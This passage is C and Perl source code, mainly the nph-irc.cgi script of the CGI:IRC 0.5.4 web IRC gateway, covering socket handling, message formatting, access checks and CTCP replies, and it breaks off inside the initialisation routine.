             case EACCES:
                error("Access Denied in connect()\n");
		     case ECONNREFUSED:
				error("Connection refused in connect()\n");
             case ENOENT:
                error("No such file in connect()\n");
             default:
                snprintf(errmsg, 99, "Unhandled error in connect(): %s\n", strerror(errno));
                error(errmsg);
          }
   }

   return sock;
}

$ cat nph-irc.cgi
#! /usr/bin/perl -T
# CGI:IRC - http://cgiirc.sourceforge.net/
# Copyright (C) 2000-2003 David Leadbeater <[email protected]>
# vim:set ts=3 expandtab shiftwidth=3 cindent:

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

# Uncomment this if the server doesn't chdir (Boa).
# BEGIN { (my $dir = $0) =~ s|[^/]+$||; chdir($dir) }

require 5.004;
use strict;
use lib qw{./modules ./interfaces};
use vars qw(
      $VERSION @handles %inbuffer $select_bits @output
      $unixfh $ircfh $cookie $ctcptime $intime $pingtime
      $timer $event $config $cgi $irc $format $interface $ioptions
      $regexpicon %regexpicon
   );

($VERSION =
'$Name: rel_0_5_4 $ 0_5_CVS $Id: nph-irc.cgi,v 1.91 2004/01/29 11:24:48 dgl Exp $'
) =~ s/^.*?(\d\S+) .*?(\d{4}\/\S+) .*$/$1/;
$VERSION .= " ($2)";
$VERSION =~ s/_/./g;

use Socket;
use Symbol; # gensym
$|++;
# Check for IPV6. Bit yucky but avoids errors when module isn't present
BEGIN {
   eval('use Socket6; $::IPV6++ if defined $Socket6::VERSION');
   unless(defined $::IPV6) {
      $::IPV6 = 0;
      eval('sub AF_INET6 {0};sub NI_NUMERICHOST {0};sub NI_NUMERICSERV {}');
   }
}

# My own Modules
use Timer;
use Event;
use IRC;
use Command;
require 'parse.pl';

my $needtodie = 0;
$SIG{HUP} = $SIG{INT} = $SIG{TERM} = sub { $needtodie = 1 };
# Pipe isn't bad..
$SIG{PIPE} = 'IGNORE';

$SIG{__DIE__} = sub { 
   error("Program ending: @_");
};

# DEBUG
#use Carp;
#$SIG{__DIE__} = \&confess;

#### Network Functions

## Returns the address of a host (handles both IPv4 and IPv6)
## Return value: (ipv4,ipv6)
sub net_hostlookup {
   my($host) = @_;

   if($::IPV6) {
      my($family,$socktype, $proto, $saddr, $canonname, @res) = 
      getaddrinfo($host, undef, AF_UNSPEC, SOCK_STREAM);
      return undef unless $family;
      my($addr, $port) = getnameinfo($saddr, NI_NUMERICHOST | NI_NUMERICSERV);
=pod
      my $ip = config_set('prefer_v6') 
         ? ($ipv6 ? $ipv6 : $ipv4) 
         : ($ipv4 ? $ipv4 : $ipv6);
=cut
      return $addr;
   }else{ # IPv4
      my $ip = (gethostbyname($host))[4];
      return $ip ? inet_ntoa($ip) : undef;
   }
}

## Connects a tcp socket and returns the file handle
## inet_addr should be the output of net_gethostbyname
sub net_tcpconnect {
   my($inet_addr, $port) = @_;
   my $fh = Symbol::gensym;
   my $family = ($inet_addr !~ /:/ ? AF_INET : AF_INET6);
   
   socket($fh, $family, SOCK_STREAM,
         getprotobyname('tcp')) or return(0, $!);
   setsockopt($fh, SOL_SOCKET, SO_KEEPALIVE, pack("l", 1)) or return(0, $!);

   my $saddr;
   if($inet_addr !~ /:/) {
      $saddr = sockaddr_in($port, inet_aton($inet_addr));
      if(config_set('vhost')) {
         (my $vhost) = $config->{vhost} =~ /([^ ]+)/;
         bind($fh, pack_sockaddr_in(0, inet_aton($vhost)));
      }else{
         bind($fh, pack_sockaddr_in(0, inet_aton('0.0.0.0')));
      }
   }else{
      $saddr = sockaddr_in6($port, inet_pton(AF_INET6, $inet_addr));
      if(config_set('vhost6')) {
         # this needs testing...
         (my $vhost) = $config->{vhost6} =~ /([^ ]+)/;
         bind($fh, pack_sockaddr_in6(0, inet_pton(AF_INET6, $vhost)));
      }
   }

   if($family == AF_INET) {
      my($localport,$localip) = sockaddr_in(getsockname $fh);
      irc_write_server(inet_ntoa($localip), $localport, $inet_addr, $port);
   }else{
      my($localport,$localip) = sockaddr_in6(getsockname $fh);
      irc_write_server(inet_pton(AF_INET6, $localip), $localport, $inet_addr, $port);
   }

   $SIG{ALRM} = sub { die "xtimeout" };
   eval {
      local $SIG{__DIE__} = undef;
      alarm 60;
      connect($fh, $saddr) or die "$!\n";
   };
   alarm 0;

   if($@ =~ /xtimeout/) {
      return(0, "Connection timed out (60 seconds)");
   }elsif($@) {
      chomp(my $error = $@);
      return(0, "$error connecting to $inet_addr:$port");
   }

   net_autoflush($fh);

   return($fh);
}

## Opens a UNIX Domain Listening socket
## Passed just the filename, returns 1 on success, 0 on failure
sub net_unixconnect {
   my($local) = @_;
   my $fh = Symbol::gensym;

   if(-e $local) {
      return 0 unless unlink $local;
   }

   socket($fh, PF_UNIX, SOCK_STREAM, 0) or return (0, $!);
   bind($fh, sockaddr_un($local)) or return (0, $!);
   listen($fh, SOMAXCONN) or return (0, $!);

   net_autoflush($fh);

   return $fh;
}

sub net_autoflush {
   my $fh = shift;
   select $fh;
   $| = 1;
   select STDOUT;
}

## Send data to specific filehandle
sub net_send {
   my($fh,$data) = @_;
   syswrite($fh, $data, length $data);
}

#### Select Helper Functions
## Code adapted from IO::Select.pm by Graham Barr

## Adds file handle into @handles and fileno into the bit vector
sub select_add {
   my($fh) = @_;
   my $fileno = select_fileno($fh);
   $handles[$fileno] = $fh;
   select_makebits();
}

## Deletes the filehandle and fileno
sub select_del {
   my($fh) = @_;
   my $fileno = select_fileno($fh);
   if(!$fileno) {
      for(0 .. $#handles) {
         $fileno = $_, last if $handles[$_] == $fh;
      }
   }
   return unless defined $handles[$fileno];
   
   $handles[$fileno] = undef;
   select_makebits();
}

## Returns a fileno
sub select_fileno {
   fileno(shift);
}

sub select_makebits {
   $select_bits = '';
   for(2 .. $#handles) {
      next unless defined $handles[$_] && ref $handles[$_];
      vec($select_bits, select_fileno($handles[$_]), 1) = 1;
   }
}

## Returns list of handles with input waiting
sub select_canread {
   my($timeout) = @_;
   my $read = $select_bits;
   
   if(select($read, undef, undef, $timeout) > 0) {
      my @out;
      for(0 .. $#handles) {
         push(@out, $handles[$_]) if vec($read, $_, 1);
      }
      return @out;
   }
   return ();
}

## Closes and deletes a filehandle
sub select_close {
   my($fh) = @_;
   return irc_close() if $ircfh == $fh;
   select_del($fh);
   close($fh);
}

#### Format Functions

## Loads the format given to it, or the default
sub load_format {
   my $formatname = $config->{format};
   if($cgi->{format} && $cgi->{format} !~ /[^A-Za-z0-9]/) {
      $formatname = $cgi->{format};
   }
   return parse_config('formats/' . $formatname);
}

## Prints a nicely formatted line
## the format is the format name to use, taken from the %format hash
## the params are passed to the format
sub format_out {
   my($formatname, $info, $params) = @_;
   return unless exists $format->{$formatname};
   return unless $format->{$formatname};

   my $line = format_parse($format->{$formatname}, $info, $params);
   $line = format_colourhtml($line);
   interface_lineout($info, $line);
}

sub message {
   my($formatname, @params) = @_;
   my $info = { target => 'Status', activity => 1, type => $formatname };
   format_out($formatname, $info, \@params);
}

## Formats IRC Colours and Styles into HTML and makes URLs clickable
sub format_colourhtml {
   my($line) = @_;

   # Used as a token for replaces 
   my $tok = "\004";

   $line =~ s/$tok//g;

   $line =~ s/\&/$tok\&amp;$tok/g;
   $line =~ s/</$tok\&lt;$tok/g;
   $line =~ s/>/$tok\&gt;$tok/g;
   $line =~ s/"/$tok\&quot;$tok/g;

   $line =~ s{((https?|ftp):\/\/[^$ ]+)(?![^<]*>)}{$interface->link(format_remove($1), format_linkshorten($1))}gie;
   $line =~ s{(?:^|\s)(www\..*?)([\.,]?($|\s)|\)|\002)(?![^<]*>)}{$interface->link(format_remove("http://$1"), $1) . $2}gie;

   if(exists $ioptions->{smilies} && $ioptions->{smilies}) {
      $line =~ s{(?<![^\.a-zA-Z_ ])$regexpicon(?![^<]*>)}{
         my($sm, $tmp) = ($1, $1);
         for(keys %regexpicon) {
            next unless $sm =~ /^$_$/;
            $tmp = $interface->smilie("$config->{image_path}/$regexpicon{$_}.gif", $regexpicon{$_}, $sm);
            last;
         }
         $tmp
      }ge;
   }

   $line =~ s/$tok//g;
   $line =~ s/( {2,})/'&nbsp;' x (length $1)/eg;

   return format_remove($line) if $config->{removecolour};

   if($line =~ /[\002\003\017\022\037]/) {
      $line=~ s/\003(\d{1,2})(\,(\d{1,2})|)([^\003\017]*|.*?$)/
         my $me = "<font ";
         my $fg = sprintf("%0.2d",$1);
         my $bg = length $3 ? sprintf("%0.2d",$3) : '';

         if(length $bg) {
            $me .= "style=\"background: ".$format->{$bg}."\" "
         }
         
         $me .= "color=\"$format->{$fg}\">$4<\/font>";
         $me
      /eg;
      $line =~ s/\002(.*?)(\002|\017|$)/<b>$1<\/b>/g;
      $line =~ s/\022(.*?)(\022|\017|$)/<u>$1<\/u>/g;
      $line =~ s/\037(.*?)(\037|\017|$)/<u>$1<\/u>/g;
   }

   return format_remove($line);
}

sub format_init_smilies {
   %regexpicon = (
      '\;-?\)'         => 'wink',
      '\;-?D'         => 'grin',
      ':\'\(?'        => 'cry',
      ':-?/(?!\S)'    => 'notsure',
      ':-?[xX]'       => 'confused',
      ':-?\['         => 'embarassed',
      ':-?\*'         => 'love',
      ':-?[pP]'       => 'tongue',
      ':-?\)'         => 'happy',
      '\:-?D'         => 'cheesy',
      ':-?\('         => 'unhappy',
      ':-[oO]'        => 'surprised',
      '8-?\)'         => 'cool',
      ':-?\|'         => 'flat',
      ':\'\)'         => 'happycry',
"\004\&gt;\004:-?/"   => 'hmmm',
"\004\&gt;\004:-?\\(" => 'angry',
      ':-?\*\*'       => 'kiss',
      ':-z'           => 'sleep',
      ':-\.'          => 'sorry',
      '8-@'           => 'what',
   );
   $regexpicon = '(' . join('|', keys %regexpicon) . ')';
}

sub format_linkshorten {
   my $link = shift;
   if(config_set('linkshorten')) {
      return substr($link, 0, $config->{linkshorten})
         . (length $link > $config->{linkshorten} ? '...' : '');
   }else{
      return substr($link, 0, 120)
         . (length $link > 120 ? '...' : '');
   }
}

## Removes all IRC formating characters
sub format_remove {
   my($line) = @_;
   $line =~ s/\003(\d{1,2})(\,(\d{1,2})|)//g;
   $line =~ s/[\x00-\x1f]//g;
   return $line;
}

## Lowlevel code that deals with the format parsing
## No longer supports nested 
sub format_parse {
   my($line, $info, $params) = @_;
   return unless defined $line;

   my($match, $name, $param);

   $line =~ s{
      ( # format
         \{
           ([^\}\s]+)
           \s?([^\}]+)?
         \}
          # variables
       | (\$[A-Za-z0-9-]+)
       | (\%(?:\d{1,2}|n|_|%))
      )
    }{
      ($match, $name, $param) = ($1, $2, $3);
      if($match =~ /^[\$%]/) {
         format_varexpand($match, $info, $params);
      }elsif(!exists $format->{$name}) {
         error("Invalid format ($name) called: $line");
      }else{ 
         format_parse($format->{$name}, $info,
               [map {format_varexpand($_, $info, $params)} split / /,
                  defined $param ? $param : '']);
      }
   }egx;
   
   return $line;
}

sub format_varexpand {
   $_ = shift;
   my($info, $params) = @_;
   return '' unless defined;

   if(s/^\$//) {
      if(ref $params && /^(\d+)\-$/) {
         return join(' ', @$params[$1 .. @$params - 1]);
      }elsif(!/\D/) {
         return $params->[$_] if ref $params && defined $params->[$_];
         return '';
      }elsif(/^VERSION$/) {
         return $VERSION;
      }elsif(/^T$/ && exists $info->{target}) {
         return $info->{target};
      }elsif(/^N$/) {
         return $irc->{nick}
      }elsif(/^S$/) {
         return $irc->{server};
      }
   }elsif(s/^%//) {
      if(/^_$/) {
         return "\002";
      }elsif(/^n$/) {
         return "\003$format->{fg},$format->{bg}";
      }elsif(/^%$/) {
         return "%";
      }elsif(/^\d+$/) {
         return "\003$_";
      }
      return "\%$_";
   }
   return $_;
}

#### Interface Functions

## Loads the default interface.
sub load_interface {
   my $name = defined $cgi->{interface} ? $cgi->{interface} : 'default';
   ($name) = $name =~ /([a-z0-9]+)/i;
   require("./interfaces/$name.pm");

   $ioptions = parse_interface_cookie();
   for(keys %$config) {
      next unless s/^interface //;
      next if exists $ioptions->{$_};
      $ioptions->{$_} = $config->{"interface $_"};
   }

   $interface = $name->new($event,$timer, $config, $ioptions);
   my $bg = $format->{$format->{bg}};
   my $fg = $format->{$format->{fg}};
   $interface->header($config, $cgi, $bg, $fg);

   return $interface;
}

sub interface_show {
   my($show, $input) = @_;
   return '' unless $interface->exists($show);

   return $interface->$show($input, $irc, $config);
}

sub interface_keepalive {
   $interface->keepalive($irc, $config);
}

sub interface_lineout {
   my($type, $target, $html) = @_;
   push(@output, $interface->makeline($type, $target, $html));
}

#### Unix Domain Socket Functions

## Opens the listening socket
sub load_socket {   
   error('Communication socket name is invalid')
      if !$cgi->{R} or $cgi->{R} =~ /[^A-Za-z0-9]/;
   ($cgi->{R}) = $cgi->{R} =~ /([A-Za-z0-9]+)/;
   error('Communication socket already exists')
      if -e $config->{socket_prefix}.$cgi->{R};

   mkdir($config->{socket_prefix}.$cgi->{R}, 0700) or error("Mkdir error: $!");

   open(IP, ">$config->{socket_prefix}$cgi->{R}/ip") or error("Open error: $!");
   print IP "$ENV{REMOTE_ADDR}\n";
   print IP "$ENV{HTTP_X_FORWARDED_FOR}\n" if exists $ENV{HTTP_X_FORWARDED_FOR};
   close(IP);

   my($socket,$error) = 
      net_unixconnect($config->{socket_prefix}.$cgi->{R}.'/sock');

   error("Error opening socket: $error") unless ref $socket;

   select_add($socket);

   return $socket;
}

sub unix_in {
   my($fh, $line) = @_;

   my $input = parse_query($line);
   
   if($cookie && (!defined $input->{COOKIE} || $input->{COOKIE} ne $cookie)) {
      net_send($fh, "Content-type: text/html\r\n\r\nInvalid cookie\r\n");
      select_close($fh);
      return;
   }

   $pingtime = time;
   $intime = $pingtime if $input->{cmd} eq 'say'
       && $input->{say} ne '/noop';

   if($input->{cmd}) {
      my $now = time;
      utime($now, $now, "$config->{socket_prefix}$cgi->{R}/sock");
      input_command($input->{cmd}, $input, $fh, $line);
   }

   net_send($fh, "Content-type: text/html\r\n\r\n");

   if(defined $input->{item} && $input->{item} =~ /^\w+$/) {
      net_send($fh, interface_show($input->{item}, $input));
   }

   select_close($fh);
}

sub input_command {
   my($command, $params, $fh, $line) = @_;
   if($command eq 'say') {
      say_command($params->{say}, $params->{target});
   }elsif($command eq 'paste') {
      $params = parse_query($line, 1);
      for(split /\n/, $params->{say}) {
         irc_send_message($params->{target}, $_);
      }
   }elsif($command eq 'quit') {
      net_send($fh, "Content-type: text/html\r\n\r\nquit\r\n"); # avoid errors
      irc_close("");
   }elsif($command eq 'options' && length $params->{name} && length $params->{value}) {
      $ioptions->{$params->{name}} = $params->{value};
      $interface->setoption($params->{name}, $params->{value});
# write proper cookie code one day.
      net_send($fh, "Set-Cookie: cgiirc$params->{name}=$params->{value}; path=/; expires=Sun, 01-Jan-2011 00:00:00 GMT\r\n");
   }
}

sub say_command {
   my($say, $target) = @_;
   return unless length $say;
   $say =~ s/(\n|\r|\0|\001)//sg;
   $target =~ s/(\n|\r|\0|\001)//sg;
   if(!config_set('disable_format_input')) {
      $say =~ s/\%C/\003/g;
      $say =~ s/\%B/\002/g;
      $say =~ s/\%U/\037/g;
   }
   if($say =~ m!^/!) {
      if($say =~ s!^/ /!/!) {
         irc_send_message($target, $say);
      }else{
         (my $command, my $params) = $say =~ m|^/([^ ]+)(?: (.+))?$|;
         unless(defined $command && length $command) {
            return;
         }
         
         $command = Command->expand($command);
         unless(access_command($command)) {
            message('command denied', $command);
            return;
         }
         
         my $error = Command->run($event, $irc, $command, $target, defined $params ? $params : '', $config, $interface);
         return 1 if $error == 100;
         
         if($error == 2) {
            message('command notparams', $error);
         }else{
            message('command error', $error);
         }
         return 0;
      }
   }else{
      irc_send_message($target, $say);
   }
}

#### Access Checking Functions

sub config_set {
   my($option) = @_;
   return 1 if defined $config->{$option} && $config->{$option};
   0;
}

sub access_ipcheck {
   return unless config_set('ip_access_file');
   
   my($ip, $hostname) = @_;
   my($ipn) = inet_aton($ip);
   my($ipaccess_match) = 0;

   my %ips = list_connected_ips();
   my $total = 0;
   $total += $ips{$_} for keys %ips;
   if(config_set("max_users") && $total > $config->{max_users}) {
      message('access denied', 'Too many connections (global)');
   }

   open(IP, "<$config->{ip_access_file}") or return;
   while(<IP>) {
      chomp;
      next if /^(#|\s*$)/;
      s/\s+#.*$//g;
      my($check, $limit) = split(' ', $_, 2);

      # IP address with subnet mask
      if ($check =~ /\//) {
         my($addr,$mask) = split('/', $check, 2);
         $mask = "1" x $mask . "0" x (32-$mask);
         $mask = pack ("B32", $mask);
         $mask = inet_ntoa($mask & $ipn);
         if($addr eq $mask) {
            $ipaccess_match = 1;
         }
      # IP or hostname (we check both)
      # XXX: someone could make their hostname resolve to 127.0.0.1.foobar.com
      # and it would match eg 127.*.*.*, I don't think it's that serious and
      # if it really is a problem 127.0.0.0/8 wouldn't match..
      } else {
         $check =~ s/\./\\./g;
         my $ipcheck = $check;
         $ipcheck =~ s/\*/\\d+/g;
         $check =~ s/\*/.*/g;
         
         if($ip =~ /^$ipcheck$/) {
            $ipaccess_match = 1;
         }elsif($hostname =~ /^$check$/) {
            $ipaccess_match = 1;
         }
      }
      if($ipaccess_match == 1) {
         return unless defined $limit;
         if($limit == 0) {
            message('access denied', "No connections allowed (your hostname is $hostname and your IP address is $ip)");
            irc_close();
         }elsif($ips{$ip} >= $limit) {
            message('access denied', 'Too many connections');
            irc_close();
         }
         return;
      }
   }
   close(IP);

   message('access denied', 'No connections allowed');
   irc_close();
}

sub access_dnsbl {
   return unless config_set('dnsbl');
   my $arpa  = join '.', reverse split /\./, shift;

   for my $zone(split ' ', $config->{dnsbl}) {
      if(defined net_hostlookup("$arpa.$zone")) {
         message('access denied', "Found in DNS black list $zone");
         irc_close();
      }
   }
}

sub list_connected_ips {
   my %ips = ();
   (my $dir, my $prefix) = $config->{socket_prefix} =~ /^(.*\/)([^\/]+)$/;
   opendir(TMPDIR, "$dir") or return ();
   for(readdir TMPDIR) {
      next unless /^\Q$prefix\E/;
      next unless -o $dir . $_ && -d $dir . $_;
      next unless -f "$dir$_/server";
      open(TMP, "<$dir$_/ip") or next;
      chomp(my $tmp = <TMP>);
      $ips{$tmp}++;
      close(TMP);
   }
   closedir(TMPDIR);
   return %ips;
}

sub access_configcheck { 
   my($type, $check) = @_;
   if(config_set("default_$type")) {
      my %tmp;
      @tmp{split /,\s*/, lc $config->{"default_$type"}} = 1;
      return 1 if exists $tmp{lc $check};
   }
   return 0 unless config_set('allow_non_default') && config_set("access_$type");

   return 1 if $check =~ /^$config->{"access_$type"}$/i;

   0;
}

sub access_command {
   my($command) = @_;
   return 1 unless config_set('access_command');
   for(split / /, $config->{access_command}) {
      if(/^!(.*)/) {
         return 0 if $command =~ /^$1/i;
      }else{
         return 1 if $command =~ /^$_/i;
      }
   }
   return 1;
}

sub encode_ip {
   return join('',map(sprintf("%0.2x", $_), split(/\./,shift)));
}

# Resolve host *and* do checks against hosts that are allowed to connect.
# Note: this follows proxies (via X-Forwarded-For header - but only if the
# proxy is listed in the trusted-proxy file).
sub access_check_host {
   my $ip = defined $_[0] ? $_[0] : $ENV{REMOTE_ADDR};

   access_dnsbl($ip);

   my($hostname) = gethostbyaddr(inet_aton($ip), AF_INET);
   unless(defined $hostname && $hostname) {
      access_ipcheck($ip, $ip);
      return($ip, $ip);
   }

   # Check reverse == forward
   my $ip_check = scalar gethostbyname($hostname);
   if(inet_aton($ip) ne $ip_check) {
      access_ipcheck($ip, $ip);
      return($ip, $ip);
   }
   
   access_ipcheck($ip, $hostname);

   if(exists $ENV{HTTP_X_FORWARDED_FOR}
         && $ENV{HTTP_X_FORWARDED_FOR} =~ /((\d{1,3}\.){3}\d{1,3})$/
         && !defined $_[1]) { # check proxy but only once
      my $proxyip = $1;
      return($hostname, $ip) if $proxyip =~ /^(192\.168|127|10|172\.(1[6789]|2\d|3[01]))\./;

      open(TRUST, "<trusted-proxy") or return($hostname, $ip);
      while(<TRUST>) {
         chomp;
         s/\*/.*/g;
         s/\?/./g;
         return access_check_host($proxyip, 1) if $hostname =~ /^$_$/i;
      }
      close TRUST;
   }

   return($hostname, $ip);
}

sub session_timeout {
   return unless defined $intime;
   if(config_set('session_timeout') && 
         (time - $config->{session_timeout}) > $intime) {
      message('session timeout');
      irc_close('Session timeout');
   }elsif($interface->ping && $pingtime < time - 900) {
      irc_close('Ping timeout');
   }elsif($interface->ping && $pingtime < time - 600) {
      $interface->sendping;
   }
}

#### IRC Functions

## Opens the connection to IRC
sub irc_connect {
   my($server, $port) = @_;
   error("No server specified") unless $server;

   message('looking up', $server);
   flushoutput(); # this stuff can block - keep the user informed

   my $ip = net_hostlookup($server);
   unless(defined $ip) {
      error("Looking up address: $!");
   }

   message('connecting', $server, $ip, $port);
   flushoutput();

   my($fh, $error) = net_tcpconnect($ip, $port);

   error("Connecting to IRC: $error") unless ref $fh;
   
   select_add($fh);
   return $fh;
}

sub irc_write_server {
   my($lip, $lport, $rip, $rport) = @_;
   open(S, ">$config->{socket_prefix}$cgi->{R}/server") 
      or error("Opening server file: $!");
   print S "$rip:$rport\n$lip:$lport\n";
   close(S);
}

## Sends data to the irc connection
sub irc_out {
   my($event,$fh,$data) = @_;
   $data = $fh, $fh = $event if !$data;
#message('default', "-> Server: $data");
   net_send($fh, $data . "\r\n");
}

sub irc_close {
   my $message = shift;
   $message = 'EOF' unless defined $message;
   $message = (config_set('quit_prefix') ? $config->{quit_prefix} : "CGI:IRC") .
      ($message ? " ($message)" : '');
   
   flushoutput();

   exit unless ref $unixfh;
   close($unixfh);
   
   my $t = $config->{socket_prefix} . $cgi->{R};
   unlink("$t/sock", "$t/ip", "$t/server", "$t/ident");
   exit unless rmdir($t);
   
   exit unless ref $ircfh;
   net_send($ircfh, "QUIT :$message\r\n");
   format_out('irc close', { target => '-all', activity => 1 });

   flushoutput();

   $interface->end if ref $interface;
   
   sleep 1;
   close($ircfh);
   exit;
}

sub irc_connected {
   my($event, $self, $server, $nick) = @_;
   open(SERVER, ">>$config->{socket_prefix}$cgi->{R}/server")
      or error("Writing to server file; $!");
   print SERVER "$server\n$nick\n";
   close(SERVER);

   my $key;
   $key = $1 if $cgi->{chan} =~ s/ (.+)$//;
   unless(access_configcheck('channel', $cgi->{chan})) {
      message('access channel denied', $cgi->{chan});
      $cgi->{chan} = (split /,/, $config->{default_channel})[0];
   }
   $irc->join($cgi->{chan} . (defined $key ? ' ' . $key : ''));
}

sub irc_send_message {
   my($target, $text) = @_;
   $event->handle('message ' .
          (
           $irc->is_channel($target) ? 'public' 
           : 'private' . 
             ($interface->query ? ' window' : '')
          ) . ' own',
         { target => $target, create => 1 },
         $irc->{nick}, $irc->{myhost}, $text);
   $irc->msg($target,$text);
}

sub irc_event {
   my($event, $name, $info, @params) = @_;
   return if $name =~ /^user /;
   $info->{type} = $name;

   if($name =~ /^raw/) {
#message('default', "Unhandled numeric: $name");
      my $params = $params[0];
      $info->{activity} = 1;
      $info->{target} = defined $params->{params}->[2] ? $params->{params}->[2] : 'Status';
      
      @params = (join(' ', defined $params->{params}->[2] 
                  ? @{$params->{params}}[2 .. @{$params->{params}} - 1] 
                  : ''),
                defined $params->{text} 
                  ? $params->{text} 
                  : '');
      
   }elsif($name =~ /^ctcp/) {
      return irc_ctcp($name, $info, @params);
   }elsif($name eq 'message public' && $params[2] =~ /^\Q$irc->{nick}\E\W/i) {
      $info->{activity} = 3;
      $name = 'message public hilight';
   }elsif($name eq 'message private' && $interface->query) {
      $name = 'message private window';
   }
   
   if(exists $format->{$name}) {
      format_out($name, $info, \@params);
   }else{
      format_out('default', $info, \@params);
   }
}

sub irc_ctcp {
   my($name, $info, $to, $nick, $host, $command, $params) = @_;
   if($name eq 'ctcp own msg') {
      format_out('ctcp own msg', $info, [$nick, $host, $command, $params]);
   }elsif($name =~ /^ctcp msg /) {
      if(uc($command) eq 'KILL') {
         return unless config_set('admin password');
         my $crypt = $config->{'admin password'};
         my($password, $reason) = split ' ', $params, 2;
         return unless length $password and length $crypt;
         
         if(crypt($password, substr($crypt, 0, 2)) eq $crypt) {
            message('kill ok', $nick, $reason);
            net_send($ircfh, "QUIT :Killed ($nick ($reason))\r\n");
            irc_close();
         }else{
            message('kill wrong', $nick, $reason);
         }
      }elsif(uc($command) eq 'ACTION' && $irc->is_channel($info->{target})) {
         format_out('action public', $info, [$nick, $host, $params]);
         return;
      }elsif(uc($command) eq 'ACTION') {
         format_out('action private', $info, [$nick, $host, $params]);
         return;
      }elsif(uc($command) eq 'DCC' && lc $to eq lc $irc->{nick}) {
         format_out('not supported', $info, [$nick, $host, $params, "DCC"]);
      }else{
         format_out('ctcp msg', $info, [$to, $nick, $host, $command, $params]);
      }
      
      if($ctcptime > time-4) {
         $ctcptime = time;
         return;
      }
      $ctcptime = time;
      
      if(uc($command) eq 'VERSION') {
         $irc->ctcpreply($nick, $command,
               "CGI:IRC $VERSION - http://cgiirc.sf.net/");
      }elsif(uc($command) eq 'PING') {
         return if $params =~ /[^0-9 ]/ || length $params > 50;
         unless($interface->ctcpping($nick, $params)) {
            $irc->ctcpreply($nick, $command, $params);
         }
      }elsif(uc($command) eq 'USERINFO') {
         $irc->ctcpreply($nick, $command,
               config_set('extra_userinfo') ?
                 "IP: $ENV{REMOTE_ADDR} - Proxy: $ENV{HTTP_VIA} - " .
                 "Forward IP: $ENV{HTTP_X_FORWARDED_FOR} - User Agent: " .
                 "$ENV{HTTP_USER_AGENT} - Host: $ENV{SERVER_NAME}"
                : "$ENV{REMOTE_ADDR} - $ENV{HTTP_USER_AGENT}"
               );
      }elsif(uc($command) eq 'TIME') {
         $irc->ctcpreply($nick, $command,
               scalar localtime());
      }elsif(uc($command) eq 'DCC' && lc $to eq lc $irc->{nick}) {
         my($type, $subtype) = split ' ', $params;
         $type .= " $subtype";
         $type = substr($type, 0, 20);
         $irc->ctcpreply($nick, $command, "REJECT $type Not Supported");
      }
   }else{
      if(uc($command) eq 'PING') {
         $params = time - $params . " seconds";
      }
      format_out('ctcp reply', $info, [$nick, $host, $command, $params]);
   }
}


#### prints a very simple header
sub header {
   my $charset = shift;
   print "HTTP/1.0 200 OK\r\n" if $0 =~ /nph-/;
   print join("\r\n",
     'Content-type: text/html' . (defined $charset ? "; charset=$charset" :
        ''),
     'Pragma: no-cache',
     'Cache-control: must-revalidate, no-cache, no-store',
     'Expires: -1',
     "\r\n");
}

sub flushoutput {
   if(@output) {
      $interface->lines(@output);
      @output = ( );
   }
}


#### Error Reporting
sub error {
   my $message = "@_";
   header() unless $config;
   if(defined $interface && ref $interface) {
     flushoutput();
     if(ref $format) {
        my $format = format_parse($format->{error}, {}, [$message]);
        $format = format_colourhtml($format);
        $interface->error($format);
     }else{
        $interface->error("Error: $message");
     }
   }else{
      print "An error occured: $message\n";
   }
   print STDERR "[" . scalar localtime() . "] CGI:IRC Error: $message (" . join(' ',(caller(1))[3,2]) . ")";
   irc_close("Error");
}

#### Init

sub init {
   $timer = new Timer;
   $event = new Event;
   $timer->addforever(interval => 15, code => \&interface_keepalive);
   $event->add('irc out', code => \&irc_out);
   $event->add('unhandled', code => \&irc_event);
   $event->add('server connected', code => \&irc_connected);

   $config = parse_config('cgiirc.config');
   $config->{socket_prefix} ||= '/tmp/cgiirc-';
   ($config->{socket_prefix}) = $config->{socket_prefix} =~ /(.*)/;
   $config->{encoded_ip} = 2 unless exists $config->{encoded_ip};
   $config->{access_command} = '!quote' unless exists $config->{access_command};
   $config->{format} ||= 'default';

   $timer->addforever(interval => 30, code => \&session_timeout);


   $cgi = parse_query($ENV{QUERY_STRING});
   format_init_smilies();
   $format = load_format($cgi->{format});
   $cookie = parse_cookie();

   header($format->{charset} ? $format->{charset} : undef);

   error('No CGI Input') unless keys %$cgi;
   $cgi->{serv} ||= (split /,/, $config->{default_server})[0];
   $cgi->{chan} ||= (split /,/, $config->{default_channel})[0];
   $cgi->{port} ||= $config->{default_port};
   $cgi->{nick} ||= $config->{default_nick};
   $cgi->{name} ||= $config->{default_name};

   ($cgi->{port}) = $cgi->{port} =~ /(\d+)/;

   $cgi->{nick} =~ s/\?/int rand 10/eg;
   # Only valid nickname characters
   $cgi->{nick} =~ s/[^A-Za-z0-9\[\]\{\}^\\\|\_\-\`]//g;

   $interface = load_interface();
 
   my($resolved, $resolvedip) = access_check_host($ENV{REMOTE_ADDR});

   unless(access_configcheck('server', $cgi->{serv})) {
      message('access server denied', $cgi->{serv});
      $cgi->{serv} = (split /,/, $config->{default_server})[0];
   }
   ($cgi->{serv}) = $cgi->{serv} =~ /([^ ]+)/; # untaint hack.

   if($cgi->{serv} =~ s/:(\d+)$//) {
      $cgi->{port} = $1;
   }
   
   if(config_set('encoded_ip')) {
      $cgi->{name} = '[' .
         ($config->{encoded_ip} <= 2 
          ? encode_ip($resolvedip)
            # The resolved hostname in realname if set to 3.
          : $resolved
         )
       . '] ' . $cgi->{name};
   }

   if(config_set('realhost_as_password')) {
      $cgi->{pass} = "CGIIRC_${resolvedip}_${resolved}";
   }

   my $preconnect;
   if(config_set('webirc_password')) {
      $preconnect = "WEBIRC $config->{webirc_password} cgiirc $resolved $resolvedip";
   }

   $unixfh = load_socket();

   if(exists $ENV{REMOTE_USER}) {
      open(IDENT, ">$config->{socket_prefix}$cgi->{R}/ident")
         or error("Ident file: $!");
      print IDENT "$ENV{REMOTE_USER}\n";
      close(IDENT);
   }

   message('cgiirc welcome') if exists $format->{'cgiirc welcome'};
   $ircfh = irc_connect($cgi->{serv}, $cgi->{port});
